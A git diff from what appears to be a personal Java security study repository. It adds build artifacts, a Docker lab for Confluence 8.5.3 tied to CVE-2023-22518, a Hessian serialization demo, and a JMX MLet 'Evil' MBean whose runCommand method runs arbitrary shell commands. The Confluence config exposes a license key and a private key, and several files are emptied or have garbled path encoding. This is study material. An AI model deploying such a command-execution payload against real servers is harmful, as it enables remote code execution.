yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\config\MybatisPlusConfig.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\mapper\EmployeeMapper.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\controller\SQLIDefense.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\pojo\Employee.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\mapper\PersonMapper.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\MybatisPluSqliApplication.java diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SSRF/SSRF.iml b/JavaSecurity/CodeReview/JavaSec-Code/SSRF/SSRF.iml new file mode 100644 index 00000000..a20ff9bc --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/SSRF/SSRF.iml @@ -0,0 +1,109 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SSTI/SSTI.iml b/JavaSecurity/CodeReview/JavaSec-Code/SSTI/SSTI.iml new file mode 100644 index 00000000..ca8ba1ea --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/SSTI/SSTI.iml @@ -0,0 +1,116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/SpEL.iml b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/SpEL.iml new file mode 100644 index 00000000..a8750d3e --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/SpEL.iml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar new file mode 100644 index 00000000..15cb0ecb Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar.original new file mode 100644 index 00000000..ee587dda Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar.original differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/classes/SpEL.class b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/classes/SpEL.class new file mode 100644 index 00000000..377cd062 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/classes/SpEL.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-archiver/pom.properties new file mode 100644 index 00000000..e47c983b --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-archiver/pom.properties @@ -0,0 +1,3 @@ +artifactId=SpEL +groupId=com.drunkbaby +version=0.0.1-SNAPSHOT diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 00000000..b5d25ab0 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst @@ -0,0 +1 @@ +SpEL.class diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 00000000..d2a49469 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1 @@ +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\SpEL\src\main\java\SpEL.java diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/XXE.iml b/JavaSecurity/CodeReview/JavaSec-Code/XXE/XXE.iml new file mode 100644 index 00000000..2d5b3131 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/XXE.iml @@ -0,0 +1,106 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar new file mode 100644 index 00000000..dc4acc97 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar.original new file mode 100644 index 00000000..35ec4c26 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar.original differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/application.properties b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/application.properties new file mode 100644 index 00000000..bafddced --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/application.properties @@ -0,0 +1 @@ +server.port=8081 \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/XXEApplication.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/XXEApplication.class new file mode 100644 index 00000000..178471b1 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/XXEApplication.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXE.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXE.class new file mode 100644 index 00000000..dc898760 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXE.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXEDefense.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXEDefense.class new file mode 100644 index 00000000..c7a6e4c7 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXEDefense.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/utils/WebUtils.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/utils/WebUtils.class new file mode 100644 index 00000000..0c786285 Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/utils/WebUtils.class differ diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/evil.dtd b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/evil.dtd new file mode 100644 index 00000000..0ff271b0 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/evil.dtd @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-archiver/pom.properties new file mode 100644 index 00000000..1c5ac45e --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-archiver/pom.properties @@ -0,0 +1,3 @@ +artifactId=XXE +groupId=com.drunkbaby +version=0.0.1-SNAPSHOT diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 00000000..e6e1b475 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst @@ -0,0 +1,4 @@ +com\drunkbaby\utils\WebUtils.class +com\drunkbaby\controller\XXE.class +com\drunkbaby\XXEApplication.class +com\drunkbaby\controller\XXEDefense.class diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 00000000..1d733713 --- /dev/null +++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1,4 @@ +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\controller\XXE.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\controller\XXEDefense.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\utils\WebUtils.java +G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\XXEApplication.java diff --git a/JavaSecurity/Confluence/CVE-2023-22518/xmlexport-20231109-060519-1.zip b/JavaSecurity/Confluence/CVE-2023-22518/xmlexport-20231109-060519-1.zip new file mode 100644 index 00000000..62e1b100 Binary files /dev/null and b/JavaSecurity/Confluence/CVE-2023-22518/xmlexport-20231109-060519-1.zip differ diff --git a/JavaSecurity/Confluence/env/Dockerfile b/JavaSecurity/Confluence/env/Dockerfile new file mode 100644 index 00000000..c2bd500a --- /dev/null +++ b/JavaSecurity/Confluence/env/Dockerfile @@ -0,0 +1,11 @@ +FROM openjdk:11-jdk-bullseye + +COPY atlassian-confluence-8.5.3.zip / +COPY confluence.cfg.xml /var/data/confluence/confluence.cfg.xml + +RUN unzip atlassian-confluence-8.5.3.zip && \ + mv atlassian-confluence-8.5.3 atlassian-confluence && \ + mkdir -p /var/data/confluence/ && \ + mkdir -p /var/data/clusters && \ + echo ' '>> /atlassian-confluence/confluence/WEB-INF/classes/confluence-init.properties && \ + echo 'confluence.home=/var/data/confluence/'>> /atlassian-confluence/confluence/WEB-INF/classes/confluence-init.properties diff --git a/JavaSecurity/Confluence/env/confluence.cfg.xml b/JavaSecurity/Confluence/env/confluence.cfg.xml new file mode 100644 index 00000000..6973cab0 --- /dev/null +++ b/JavaSecurity/Confluence/env/confluence.cfg.xml @@ -0,0 +1,26 @@ + + + + setupdbchoice-start + cluster + 7701 + + AAABlA0ODAoPeNp1klFvmzAUhd/9K5D20qlya0MXIJKlUSBZOkLaQlJlyotrXRK3QCID6divn1Mnq lq1j77n+Pq75/pbvumsCIRFXIv6Q5sMnSsrzHLLJraDQgW8lds64i2wQwVTGxMPRdAIJXcHiYXbu ig7qAVYZ9rHrRDqFtT31dCK97zsXhugKZe6WnNti//upOpPLa8woZi4KJEC6uYLsTTiAlRzeNJGW ff4RtCqDpDQGBdpVz2CmhXzRjsZpuiNwLhmas1r2ZhK3/W8Xj9JXv5cV1yWF2JbmT5ctHIP5oqer 9XnWE9Qfn7lSPeLNxs2DV/CUewv/z25Fb07zwux9MejYMQj+1n8qUWwuV+353Y+rpaDKP79wB+8Y lG9JEEaXo7vVmzFDMExjrzfQcorYOFsOo3vw0mQGD1rudIps4KXDZzCm0QsmURZnOKE+p47oD8cl IHag9LKtR/McbrIr3Gcux6+8cjctDoszezMDPwM/SloOiDEJZ7jUHTbKbHhDXz8Csd4XiE/TUfjs PdI/wGum893MCwCFEBm/Dhfacgh6q8z1KkLA7IoRtgMAhR3aSuUYcM2Bt0xGXVKCB533E+uyg==X 02jj + true + 238.49.135.165 + /var/data/clusters + eth0 + multicast + clusterA + 1 + B9AU-NVTB-ET78-J80U + + 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 + ${localHome}/index + false + true + true + ${localHome}/temp + + \ No newline at end of file diff --git a/JavaSecurity/Confluence/env/docker-compose.yml b/JavaSecurity/Confluence/env/docker-compose.yml new file mode 100644 index 00000000..1482b945 --- /dev/null +++ b/JavaSecurity/Confluence/env/docker-compose.yml @@ -0,0 +1,22 @@ +services: + confluence: + build: . + ports: + - "8090:8090" + - "5005:5005" + environment: + - CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + depends_on: + - postgres + command: /atlassian-confluence/bin/start-confluence.sh --fg + + postgres: + image: postgres:12-alpine3.19 + expose: + - 5432 + environment: + - POSTGRES_PASSWORD=postgres + command: + - sh + - -c + - echo 'CREATE DATABASE confluence;'> /docker-entrypoint-initdb.d/init.sql && /usr/local/bin/docker-entrypoint.sh postgres \ No newline at end of file diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/FastjsonEXP_1.2.24-1.0-SNAPSHOT.jar b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/FastjsonEXP_1.2.24-1.0-SNAPSHOT.jar new file mode 100644 index 00000000..6d477c60 Binary files /dev/null and b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/FastjsonEXP_1.2.24-1.0-SNAPSHOT.jar differ diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-archiver/pom.properties b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-archiver/pom.properties new file mode 100644 index 00000000..bf75727c --- /dev/null +++ b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-archiver/pom.properties @@ -0,0 +1,5 @@ +#Generated by Maven +#Thu Feb 22 21:20:13 CST 2024 +version=1.0-SNAPSHOT +groupId=org.example +artifactId=FastjsonEXP_1.2.24 diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 00000000..8be5a072 --- /dev/null +++ b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1,4 @@ +G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\JdbcRowSetImplLdapExp.java +G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\TemplatesImplPoc.java +G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\HighJdkBypass.java +G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\JdbcRowSetImplRmiExp.java diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/Hession/.gitignore b/JavaSecurity/Hession/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/Hession/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/pom.xml b/JavaSecurity/Hession/HessionLearn/pom.xml new file mode 100644 index 00000000..5bf8695a --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + org.example + Hession + 1.0-SNAPSHOT + + + HessionLearn + + + + com.caucho + hessian + 4.0.63 + + + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java new file mode 100644 index 00000000..e672314c --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java @@ -0,0 +1,37 @@ +package com.hession.test; + +import com.caucho.hessian.io.HessianInput; +import com.caucho.hessian.io.HessianOutput; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.Serializable; + +public class Hessian_Test implements Serializable { + + public static byte[] serialize(T o) throws IOException { + ByteArrayOutputStream bao = new ByteArrayOutputStream(); + HessianOutput output = new HessianOutput(bao); + output.writeObject(o); + System.out.println(bao.toString()); + return bao.toByteArray(); + } + + public static T deserialize(byte[] bytes) throws IOException { + ByteArrayInputStream bai = new ByteArrayInputStream(bytes); + HessianInput input = new HessianInput(bai); + Object o = input.readObject(); + return (T) o; + } + + public static void main(String[] args) throws IOException { + Person person = new Person(); + person.setAge(18); + person.setName("Drunkbaby"); + + byte[] s = serialize(person); + System.out.println((Person) deserialize(s)); + } + +} \ No newline at end of file diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java new file mode 100644 index 00000000..2350bb99 --- /dev/null +++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java @@ -0,0 +1,29 @@ +package com.hession.test; + +import java.io.Serializable; + +public class Person implements Serializable { + public String name; + public int age; + + public int getAge() { + return age; + } + + @Override + public String toString() { + return super.toString(); + } + + public String getName() { + return name; + } + + public void setAge(int age) { + this.age = age; + } + + public void setName(String name) { + this.name = name; + } +} \ No newline at end of file diff --git a/JavaSecurity/Hession/pom.xml b/JavaSecurity/Hession/pom.xml new file mode 100644 index 00000000..8b655d49 --- /dev/null +++ b/JavaSecurity/Hession/pom.xml @@ -0,0 +1,21 @@ + + + 4.0.0 + + org.example + Hession + 1.0-SNAPSHOT + pom + + HessionLearn + + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/Hession/src/main/java/org/example/Main.java b/JavaSecurity/Hession/src/main/java/org/example/Main.java new file mode 100644 index 00000000..407f157b --- /dev/null +++ b/JavaSecurity/Hession/src/main/java/org/example/Main.java @@ -0,0 +1,7 @@ +package org.example; + +public class Main { + public static void main(String[] args) { + System.out.println("Hello world!"); + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/.DS_Store b/JavaSecurity/JDK/.DS_Store new file mode 100644 index 00000000..a8a3f43f Binary files /dev/null and b/JavaSecurity/JDK/.DS_Store differ diff --git a/JavaSecurity/JDK/JMX/.gitignore b/JavaSecurity/JDK/JMX/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/JDK/JMX/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/pom.xml b/JavaSecurity/JDK/JMX/pom.xml new file mode 100644 index 00000000..409550e6 --- /dev/null +++ b/JavaSecurity/JDK/JMX/pom.xml @@ -0,0 +1,17 @@ + + + 4.0.0 + + org.example + JMX + 1.0-SNAPSHOT + + + 8 + 8 + UTF-8 + + + \ No newline at end of file diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java new file mode 100644 index 00000000..2cdbca28 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java @@ -0,0 +1,33 @@ +package com.drunkbaby.mlet; + +import java.io.BufferedReader; +import java.io.InputStreamReader; + +public class Evil implements EvilMBean +{ + public String runCommand(String cmd) + { + try { + Runtime rt = Runtime.getRuntime(); + Process proc = rt.exec(cmd); + BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); + BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); + String stdout_err_data = ""; + String s; + while ((s = stdInput.readLine()) != null) + { + stdout_err_data += s+"\n"; + } + while ((s = stdError.readLine()) != null) + { + stdout_err_data += s+"\n"; + } + proc.waitFor(); + return stdout_err_data; + } + catch (Exception e) + { + return e.toString(); + } + } +} diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java new file mode 100644 index 00000000..8637c221 --- /dev/null +++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java @@ -0,0 +1,5 @@ +package com.drunkbaby.mlet; + +public interface EvilMBean { + public String runCommand(String cmd); +} diff --git 